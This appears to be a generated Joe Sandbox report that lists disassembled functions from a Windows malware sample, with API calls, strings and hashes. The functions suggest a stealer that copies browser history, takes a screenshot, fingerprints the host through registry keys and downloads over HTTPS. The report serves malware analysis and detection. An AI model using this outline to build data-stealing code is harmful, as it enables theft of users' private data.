Instruction ID: 75f9e7285db8ad4265e08de017c67573894c5a348a75f2a583d1d03febfc2395
Opcode Fuzzy Hash: 01649751238cd7ff593d0dcebee1955b7c7d758ff251e39d57a9c27c2a646bba
Instruction Fuzzy Hash: EB514AB1A00218AFEB10DFA4DCC5FAEB7B8FB09304F60416EF116A7292CA755D45CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00415C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 130stringmemoryfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00415C76
lstrcat.KERNEL32(?,0253C408), ref: 00415C8C

Part of subcall function 00420D40: _malloc.LIBCMT ref: 00420D49
Part of subcall function 00420D40: GetTickCount.KERNEL32 ref: 00420D56
Part of subcall function 00420D40: _rand.LIBCMT ref: 00420D70
Part of subcall function 00420D40: wsprintfA.USER32 ref: 00420D85

lstrcat.KERNEL32(?,00000000), ref: 00415CA7
CopyFileA.KERNEL32(?,?,00000001), ref: 00415CB7
_memset.LIBCMT ref: 00415CCB
wsprintfA.USER32 ref: 00415CDE
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00415D32
RtlAllocateHeap.NTDLL(00000000), ref: 00415D39
lstrcat.KERNEL32(00000000,00000000), ref: 00415D79
lstrcat.KERNEL32(00000000,0044B864), ref: 00415D85
lstrlen.KERNEL32(00000000), ref: 00415DA1
DeleteFileA.KERNEL32(?), ref: 00415DE3

Strings

\History\%s_%s.txt, xrefs: 00415CD8

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap_memsetwsprintf$AllocateCopyCountDeleteProcessTick_malloc_randlstrlen
String ID: \History\%s_%s.txt
API String ID: 3780240049-3864739126
Opcode ID: 7159b60bea3161c8a1badfdb36a0c17485786140ed6f6a8b0b1953d1275eced7
Instruction ID: 450b9c86019191879f18f66edfbea9fd905b80151123300e48167a343f9b7376
Opcode Fuzzy Hash: 7159b60bea3161c8a1badfdb36a0c17485786140ed6f6a8b0b1953d1275eced7
Instruction Fuzzy Hash: E041757594021CABCB10DFA4EC8DEDA7378AB58305F1045A9F609D3151EA74DA84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00420F70 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 142COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00420FCB
GetWindowRect.USER32(00000000,?), ref: 00420FD8
SelectObject.GDI32(00000000,00000000), ref: 00421004
GlobalFix.KERNEL32(?), ref: 00421086
GlobalSize.KERNEL32(?), ref: 00421093
SelectObject.GDI32(00000000,?), ref: 004210B4
DeleteObject.GDI32(?), ref: 004210D2
DeleteObject.GDI32(00000000), ref: 004210D9
CloseWindow.USER32(00000000), ref: 004210E8

Strings

image/jpeg, xrefs: 00421046
\screenshot.jpg, xrefs: 004210A1

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Object$Window$DeleteGlobalSelect$CloseDesktopRectSize
String ID: \screenshot.jpg$image/jpeg
API String ID: 3625218656-508856279
Opcode ID: 78c3b9f654d2a7c5d7ee76e0802bc744a3ff5620db72b7e5af1bb66a37ff499d
Instruction ID: a169b6a9e873aa2ca2fcdec0bd7f6cb64dbd277b6053701837b162e99759d3b1
Opcode Fuzzy Hash: 78c3b9f654d2a7c5d7ee76e0802bc744a3ff5620db72b7e5af1bb66a37ff499d
Instruction Fuzzy Hash: B9511F71A00208AFDB10DFE4ED89EAEB7BDEF48705F104529F505E2250EBB49D05CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040A8C0 Relevance: 18.1, APIs: 12, Instructions: 119COMMON

Download Yara Rule

APIs

GetFileSecurityA.ADVAPI32(?,00000007,00000000,00000000,?), ref: 0040A8EA
GetLastError.KERNEL32 ref: 0040A8F8
_malloc.LIBCMT ref: 0040A90D

Part of subcall function 0042AC99: __FF_MSGBANNER.LIBCMT ref: 0042ACB2
Part of subcall function 0042AC99: __NMSG_WRITE.LIBCMT ref: 0042ACB9
Part of subcall function 0042AC99: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,0042B7A0,?), ref: 0042ACDE

GetFileSecurityA.ADVAPI32(?,00000007,00000000,00000000,00000000), ref: 0040A928
GetCurrentProcess.KERNEL32(0002000E,?), ref: 0040A944
OpenProcessToken.ADVAPI32(00000000), ref: 0040A94B
DuplicateToken.ADVAPI32(?,00000002,?), ref: 0040A966
MapGenericMask.ADVAPI32(?,?), ref: 0040A9BF
AccessCheck.ADVAPI32(00000000,?,001200A0,00120089,?,00000014,?,?), ref: 0040A9E2
CloseHandle.KERNEL32(?), ref: 0040A9F8
CloseHandle.KERNEL32(?), ref: 0040AA02
_free.LIBCMT ref: 0040AA09

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleProcessSecurityToken$AccessAllocateCheckCurrentDuplicateErrorGenericHeapLastMaskOpen_free_malloc
String ID:
API String ID: 1304225167-0
Opcode ID: c8607f1e558617fbe4248741c0907f74897af6e9fd856b30823f6fe8b241e994
Instruction ID: b139e5e14ee62cd87a11e30da3704e2825d0c5b42e81586a6b5160336d8d5c59
Opcode Fuzzy Hash: c8607f1e558617fbe4248741c0907f74897af6e9fd856b30823f6fe8b241e994
Instruction Fuzzy Hash: 16413DB1E00219AFDB10DF95ED88AEEBBB8EF48304F14412AF505B6250E7B49A44CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00409B90 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 344fileCOMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 00409DC7
wsprintfA.USER32 ref: 00409DF5
CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,?,00000000), ref: 00409E19

Strings

%s%s%s, xrefs: 00409DEF
%s%s, xrefs: 00409E7B
:, xrefs: 00409E60

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: CreateFile__fassignwsprintf
String ID: %s%s$%s%s%s$:
API String ID: 3658515636-3034790606
Opcode ID: 9ecf49f7b51490003a497957e4cc15109fbb6ac4867b379f88611c07248b0e3f
Instruction ID: fa16304a54439e0b5d4a83a2c7ea23017c252acf5c725f626b6d6bb46cfb336a
Opcode Fuzzy Hash: 9ecf49f7b51490003a497957e4cc15109fbb6ac4867b379f88611c07248b0e3f
Instruction Fuzzy Hash: 5DC12871A002149BDB24DF24DC80BABB368AF44314F1442AFE959A72C2D778AE95CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A0B0 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 250COMMON

Download Yara Rule

Strings

%s%s%s, xrefs: 0040A228
:, xrefs: 0040A287
%s%s, xrefs: 0040A29E

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %s%s$%s%s%s$:
API String ID: 0-3034790606
Opcode ID: bade65e7f869a21199bb1febff6386fc07720157ed071cdf597911a08a1aa35b
Instruction ID: 8cb525382818c45400e02070735f219f0bba504f8d30135efb67683294a11d83
Opcode Fuzzy Hash: bade65e7f869a21199bb1febff6386fc07720157ed071cdf597911a08a1aa35b
Instruction Fuzzy Hash: 1F91D6719003149BDB21DF64DC84BAAB3B8AB04304F1042BEE8596B3C1D779AE95CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00414B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120networkmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00414940: _memset.LIBCMT ref: 0041495F
Part of subcall function 00414940: _memset.LIBCMT ref: 0041496C
Part of subcall function 00414940: lstrlen.KERNEL32(00000000,10000000,?,?,?,?,?,?,00000000), ref: 00414992
Part of subcall function 00414940: InternetCrackUrlA.WININET(00000000,00000000), ref: 0041499A

StrCmpCA.SHLWAPI(00000000), ref: 00414BE3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00414BF7
RtlAllocateHeap.NTDLL(00000000), ref: 00414BFE
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 00414C1B
InternetSetOptionA.WININET(00000000,00000002), ref: 00414C3D
InternetOpenUrlA.WININET(00000004,?,00000000,00000000,04000100,00000000), ref: 00414C6D
InternetReadFile.WININET(00000000,?,00000400,00000001), ref: 00414C94
InternetCloseHandle.WININET(00000000), ref: 00414CCB
InternetCloseHandle.WININET(00000004), ref: 00414CD8

Strings

https, xrefs: 00414BC1

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen_memset$AllocateCrackFileOptionProcessReadlstrlen
String ID: https
API String ID: 2133551499-1056335270
Opcode ID: bfffbccc117f215ac2e8ab0cfd35f1090e75e48b8c7ff9597e6b10c9a8cbb284
Instruction ID: 1895b567f8e929e6a93f01576cdf18b4b89a6f2da5866fdad9a6b6fd4f7d6830
Opcode Fuzzy Hash: bfffbccc117f215ac2e8ab0cfd35f1090e75e48b8c7ff9597e6b10c9a8cbb284
Instruction Fuzzy Hash: A041D7B1A40218ABDB10DF64DC49FDA77B8EB48704F108579F705A7281E7B4A9C4CBAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC20 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 90registrystringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040AC52
RegOpenKeyExA.KERNEL32(80000001,043F8AE0,00000000,00020119,?), ref: 0040AC74
RegQueryValueExA.ADVAPI32(?,043F78B0,00000000,00000000,00000000,000000FF), ref: 0040AC9E
RegCloseKey.ADVAPI32(?), ref: 0040ACAB
_memset.LIBCMT ref: 0040ACBF
lstrcat.KERNEL32(?,00000000), ref: 0040ACD5
lstrcat.KERNEL32(?,\config\), ref: 0040ACE7

Strings

\config\, xrefs: 0040ACDB

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: _memsetlstrcat$CloseOpenQueryValue
String ID: \config\
API String ID: 1663104428-327132148
Opcode ID: b671b1c45c76c67e398372ebc1598814be0bf2ec0c18e4d583430323cff5e86c
Instruction ID: 5dfa665ecb1e109d1ed638adc96a4d06ea4fde0c3ae8d5a65a910490f05f8682
Opcode Fuzzy Hash: b671b1c45c76c67e398372ebc1598814be0bf2ec0c18e4d583430323cff5e86c
Instruction Fuzzy Hash: 9731A5B5604318ABD714DB60DC89FEB7378AB44304F0046EDF645A7192DAB4AAC4CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0041DD30 Relevance: 12.5, APIs: 8, Instructions: 471stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00420E70: _memset.LIBCMT ref: 00420E91
Part of subcall function 00420E70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00420EAA

_memset.LIBCMT ref: 0041DDB6
_memset.LIBCMT ref: 0041DDC8
lstrcat.KERNEL32(?,00000000), ref: 0041DDDF
lstrcat.KERNEL32(?,025386D8), ref: 0041DDF2
lstrcat.KERNEL32(?,043F7F70), ref: 0041DE06
lstrcat.KERNEL32(?,00000000), ref: 0041DE1E
lstrcat.KERNEL32(?,043F7258), ref: 0041DE32
lstrcat.KERNEL32(?,0044B988), ref: 0041DE44

Part of subcall function 00424100: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,00000010,?,?,00420006,?,?), ref: 00424132
Part of subcall function 00424100: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 0042415C

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$ByteCharMultiWide$FolderPath
String ID:
API String ID: 2770536179-0
Opcode ID: 1c90ff92727da57854d0cf513d5cacfb04508d265067742b9983faae9db315da
Instruction ID: 201dbab8d7c86ffac29d95b516278d4f478acaf4bb6cdd5e1c3fdb576f4d6d8e
Opcode Fuzzy Hash: 1c90ff92727da57854d0cf513d5cacfb04508d265067742b9983faae9db315da
Instruction Fuzzy Hash: 70126BB1D00268DBDB20DF55DC80ADAB7B9BB44304F4485EEE98967241DB386E84CFD6

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDB0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041FDF0
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,00000000), ref: 0041FE10
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,00000000,000000FF,?,?,00000000), ref: 0041FE38
RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 0041FE45
CharToOemA.USER32(00000000,?), ref: 0041FE59

Strings

MachineGuid, xrefs: 0041FE32
SOFTWARE\Microsoft\Cryptography, xrefs: 0041FE06

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 2235053359-1211650757
Opcode ID: 04ca5db283a1336276d62b723236521ec7c9eff7803d75652b82d1b3fd956943
Instruction ID: 1538feb4e57e30d2a66058555877b70475a6e841df471d12bf88645967f98b5f
Opcode Fuzzy Hash: 04ca5db283a1336276d62b723236521ec7c9eff7803d75652b82d1b3fd956943
Instruction Fuzzy Hash: B621F8B5600319ABD720DF10DC49FEAB7B8AB04304F1041D9E649A7282DBB46A88CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0041F110 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041F142
RegOpenKeyExA.KERNEL32(80000002,HARDWARE\DESCRIPTION\System\CentralProcessor\0,00000000,00020119,?), ref: 0041F162
RegQueryValueExA.KERNEL32(?,ProcessorNameString,00000000,00000000,00000000,000000FF), ref: 0041F18A
RegCloseKey.ADVAPI32(?), ref: 0041F197
CharToOemA.USER32(00000000,?), ref: 0041F1AB

Strings

HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 0041F158
ProcessorNameString, xrefs: 0041F184

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: HARDWARE\DESCRIPTION\System\CentralProcessor\0$ProcessorNameString
API String ID: 2235053359-2804670039
Opcode ID: eef878b166e320c8a654df7ca1c17fbb6699cde215f0b39ef6bda83d40d7e7ae
Instruction ID: 08c5762c1a4277abbd70b1ad49db325712a0ff1c6833b654bb58d65ada710831
Opcode Fuzzy Hash: eef878b166e320c8a654df7ca1c17fbb6699cde215f0b39ef6bda83d40d7e7ae
Instruction Fuzzy Hash: 0711DFB564031CABD724DF50DC49FE9B378EB14704F1041E9F609A6192EAF46E84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0041F4B0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 48registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041F4E2
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020119,?), ref: 0041F502
RegQueryValueExA.KERNEL32(?,ProductName,00000000,00000000,00000000,000000FF), ref: 0041F52A
RegCloseKey.ADVAPI32(?), ref: 0041F537
CharToOemA.USER32(00000000,?), ref: 0041F54B

Strings

ProductName, xrefs: 0041F524
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0041F4F8

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: CharCloseOpenQueryValue_memset
String ID: ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 2235053359-1787575317
Opcode ID: afdd120bc96403525a8188548f5dc33dafc4dc2fecc04346e76c8191a1e50830
Instruction ID: f0a23bc1656d856c29a82094d9744041533a44e9cb725da14047f7aff4bb2dbd
Opcode Fuzzy Hash: afdd120bc96403525a8188548f5dc33dafc4dc2fecc04346e76c8191a1e50830
Instruction Fuzzy Hash: 92112BB5A0031CABD724DF50DC8AFEAB378EB04704F1041E9F609A6192EAF46E848F45

Uniqueness

Uniqueness Score: -1.00%

Function 0041F3C0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000010), ref: 0041F3D8
HeapAlloc.KERNEL32(00000000), ref: 0041F3DF
_memset.LIBCMT ref: 0041F3EF
GlobalMemoryStatusEx.KERNEL32(?), ref: 0041F402
wsprintfA.USER32 ref: 0041F428

Strings

@, xrefs: 0041F3FB
%d MB, xrefs: 0041F422

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatus_memsetwsprintf
String ID: %d MB$@
API String ID: 3402858368-3474575989
Opcode ID: 9816887f9a6c35f48fd733b1320cc3376e45a70272176bdd78a99b913feab010
Instruction ID: 0decc6c907de42a049bd549f75f5fe7ac2fde1df4ecbd56bdc9ad0c5905d4ba7
Opcode Fuzzy Hash: 9816887f9a6c35f48fd733b1320cc3376e45a70272176bdd78a99b913feab010
Instruction Fuzzy Hash: E501ACB1B00108ABD714DFA4ED0ABAE7764EB00314F400579FA06D7281EA749D05879E

Uniqueness

Uniqueness Score: -1.00%

Function 0041C910 Relevance: 12.2, APIs: 8, Instructions: 185stringsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041C979

Part of subcall function 00420E70: _memset.LIBCMT ref: 00420E91
Part of subcall function 00420E70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00420EAA

lstrcat.KERNEL32(?,00000000), ref: 0041C990
lstrcat.KERNEL32(?,043B4558), ref: 0041C99E
_memset.LIBCMT ref: 0041C9B1
lstrcat.KERNEL32(?,?), ref: 0041C9C7
lstrcat.KERNEL32(?,0044C05C), ref: 0041C9D9
lstrcat.KERNEL32(?,043B4588), ref: 0041C9ED
Sleep.KERNEL32(000007D0,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041CB19

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$FolderPathSleep
String ID:
API String ID: 2433851760-0
Opcode ID: 3547913c1b9fa93f9863d19c4b4a350355febfc3d527f4dbd0bf3c9e0b36b2bf
Instruction ID: 0a7e80e0c7b7a7513bd92ad79ce1bbeedefa67e4b6bbd92bf1c946af0718eaa1
Opcode Fuzzy Hash: 3547913c1b9fa93f9863d19c4b4a350355febfc3d527f4dbd0bf3c9e0b36b2bf
Instruction Fuzzy Hash: 7B7142B19002289FDB14DF54DC89BDAB778EB48304F4046EAE509A3251EB746E88CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040F330 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 167stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405530: std::_Xinvalid_argument.LIBCPMT ref: 0040554A

Part of subcall function 00405760: _memmove.LIBCMT ref: 0040579D

StrCmpCA.SHLWAPI(?,ERROR,00000000), ref: 0040F400
_strtok_s.LIBCMT ref: 0040F448
lstrlen.KERNEL32(00000000), ref: 0040F453

Strings

ERROR, xrefs: 0040F47F
ERROR, xrefs: 0040F460
ERROR, xrefs: 0040F3FA

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Xinvalid_argument_memmove_strtok_slstrlenstd::_
String ID: ERROR$ERROR$ERROR
API String ID: 2316618217-2652278224
Opcode ID: f9c8f6ccc192b906a56cee809d9682cc1443c11e47a34c1220648214e429d261
Instruction ID: f4448346521b60dbf091b88e8de17b3c559a9be3d15400cacbfcef8d4a2d5ab2
Opcode Fuzzy Hash: f9c8f6ccc192b906a56cee809d9682cc1443c11e47a34c1220648214e429d261
Instruction Fuzzy Hash: 97519271D00248AFDB10DFA9C885AEFBBB8EF19314F50853EE81577281D7789909CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00415780 Relevance: 9.1, APIs: 6, Instructions: 67filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,00000000,1A5A77C2,00000000,00000000,?,0043F608,000000FF), ref: 0041579A
GetFileSizeEx.KERNEL32(00000000,?,?,0040BC24,?,?,?,00000000,?,?,?,?,?,?,?,1A5A77C2), ref: 004157B0
LocalAlloc.KERNEL32(00000040,?,?,?,0040BC24,?,?,?,00000000,?,?,?,?), ref: 004157CB
ReadFile.KERNEL32(00000000,00000000,?,?,00000000,?,0040BC24,?,?,?,00000000,?,?,?,?), ref: 004157E4
LocalFree.KERNEL32(00000000,?,0040BC24,?,?,?,00000000,?,?,?,?,?,?,?,1A5A77C2), ref: 00415800
CloseHandle.KERNEL32(00000000,?,0040BC24,?,?,?,00000000,?,?,?,?,?,?,?,1A5A77C2), ref: 00415808

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c0b762f9a03352c5b7096c45cc3f2caf39d99d4a4049f2f77f3318593e74291f
Instruction ID: 696ed31dae586683fed23baae0212d8495040db6f6e57d86bd92175e77c768db
Opcode Fuzzy Hash: c0b762f9a03352c5b7096c45cc3f2caf39d99d4a4049f2f77f3318593e74291f
Instruction Fuzzy Hash: EC114F71600215EBDB24AFA5DC88EEBBB6CEF48354F204166F905D7240EAB4DD50CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040F510 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 198COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000), ref: 0040F573
StrCmpCA.SHLWAPI(?,ERROR,00000000), ref: 0040F67E

Strings

ERROR, xrefs: 0040F678
https, xrefs: 0040F564
ERROR, xrefs: 0040F6B1

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ERROR$ERROR$https
API String ID: 0-174692023
Opcode ID: f0a4090a1a75e86a2cd534474dbad3947c1e4aafa0e23cc89bbf36badddae63a
Instruction ID: efe12d9294ad5aa123a477982193a996162e701d8fa3b5cc35207f3e492e0597
Opcode Fuzzy Hash: f0a4090a1a75e86a2cd534474dbad3947c1e4aafa0e23cc89bbf36badddae63a
Instruction Fuzzy Hash: 437192B1D01348EBDF00DFA9C881ADEBBB8AF15314F50857FE51567281D6389648CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0042B781 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0042B79B

Part of subcall function 0042AC99: __FF_MSGBANNER.LIBCMT ref: 0042ACB2
Part of subcall function 0042AC99: __NMSG_WRITE.LIBCMT ref: 0042ACB9
Part of subcall function 0042AC99: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,0042B7A0,?), ref: 0042ACDE

std::exception::exception.LIBCMT ref: 0042B7D0
std::exception::exception.LIBCMT ref: 0042B7EA
__CxxThrowException@8.LIBCMT ref: 0042B7FB

Strings

bad allocation, xrefs: 0042B7C9

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID: bad allocation
API String ID: 615853336-2104205924
Opcode ID: 57d6c28c5d97f534166e857563da1d7886af0647a63b807deaa87a0ce0190d7c
